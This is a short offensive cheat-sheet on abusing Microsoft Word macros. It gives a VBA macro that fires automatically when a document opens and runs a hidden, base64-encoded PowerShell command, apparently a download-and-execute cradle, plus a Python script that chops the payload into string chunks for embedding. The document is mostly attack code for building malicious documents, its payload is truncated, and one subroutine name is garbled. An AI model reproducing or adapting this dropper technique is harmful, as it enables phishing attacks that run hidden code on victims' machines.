Abusing Macros
Microsoft Word Example
Sub AutoOpen()
MyMacro
End Sub
Sub_ _Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
...
Str = Str + "A== "
End Sub
Python script to create the string above:
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')